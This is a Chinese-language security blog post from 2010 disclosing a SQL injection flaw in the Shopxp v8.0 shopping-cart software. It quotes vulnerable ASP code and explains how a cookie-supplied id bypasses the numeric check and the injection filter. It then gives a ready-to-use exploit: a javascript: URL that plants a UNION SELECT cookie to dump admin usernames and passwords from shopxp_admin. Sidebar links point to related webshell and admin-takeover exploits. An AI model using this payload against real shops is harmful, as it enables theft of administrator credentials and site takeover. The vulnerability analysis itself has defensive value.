Shopxp v8.0 SQL Injection 0day

2010, February 2, 10:22 AM. 漏洞分析
Submitted by admin

文/My5t3ry
最近帮朋友看一个站,发现用的是shopxp,就下了shopxp源码回来读了下,发现漏洞不少,下面一起来看看。
这套系统使用了早期的枫叶防注系统,只过滤了GET,并且可以绕过,这里不谈绕过的问题了,我们看到
xplistpl.asp  9-36行代码:

<table width="100%"  border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="88%"><TABLE cellSpacing=0 cellPadding=0 width=100% align=center border=0>
      <TBODY>
        <TR>
          <td width="1" background="img_shopxp/xiao/bgbg.gif"></td>
          <TD class=b vAlign=top align=left><%if IsNumeric(request.QueryString("id"))=False then
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")
response.end
end if
dim id
id=request.QueryString("id")
if not isinteger(id) then
response.write"<script>alert(""非法访问!"");location.href=""index.asp"";</script>"
end if%>
              <table width="100%" align="center" border="0" cellspacing="0" cellpadding="0" class="table-zuoyou" bordercolor="#CCCCCC">
                <tr>
                  <td width="100%" valign="top" bordercolor="#FFFFFF" bgcolor="#FFFFFF" align="center"><table width="100%" border="0" cellspacing="0" cellpadding="4" align="center">
                      <%
                set rs=server.createobject("adodb.recordset")
                rs.open "select * from shopxp_product where shopxpptid="&request("id"),conn,1,3
                if rs.recordcount>0 then
                spmx=rs("shopxpptname")
                end if%>
                      <tr>
                        <td colspan="3" background="img_shopxp/class_bg.jpg" height=50>  <a href=index.asp><%=webname%></a> >> 商品评论:<%=spmx%></td>
                      </tr>
                    </table>
上面这段代码存在逻辑漏洞哦,其中IsNumeric(request.QueryString("id"))=False 这句判断获取的id是否为数字,如果false则停止执行,
但这里的id是通过request.QueryString获取的,如果我们不给id赋值会怎么样呢?同学们可以通过下面的代码来验证:
<%
if IsNumeric(request.QueryString("id"))=False then
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")
response.end
end if
response.write("my5t3ry")
%>

 

保存为test.asp,然后直接访问test.asp,看是否打印my5t3ry? 如果不用过request.QueryString给id赋值,
而是通过,request.form或者request.cookies给id赋值是可以直接绕过他的判断的,代码不会停止执行,然后进入
sql查询用的是request("id"),学过asp的同学都知道request通吃get,post,cookie的,到这里就成功bypass防注和IsNumeric函数的判断。

exploit:

 

用Firefox访问目标站,使用Firefox的插件noscript禁用该站javascript
然后清空地址栏,输入:
javascript:alert(document.cookie="id=" + escape("1  union select 1,cstr(adminid)&chr(124)&admin&chr(124)&password,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3 from shopxp_admin"));location.href="/xplistpl.asp";
Ps:如果商品评论后面没有显示,多半是字段数步对造成的,

« 上一篇 | 下一篇 »

只显示10条记录相关文章
shopxp html版2.0直接添加管理员漏洞 (浏览: 10888, 评论: 0)
shopxp pinglun.asp 注入漏洞 (浏览: 10751, 评论: 0)
ShopXp CMS上传拿Webshell (浏览: 10428, 评论: 0)
SHOPXP网上购物系统 v8.0 (浏览: 13325, 评论: 0)
SHOPXP网上购物系统 v8.0 注入漏洞利用 (浏览: 10250, 评论: 0)
shopxp7.4 oday (未完成) (浏览: 7, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):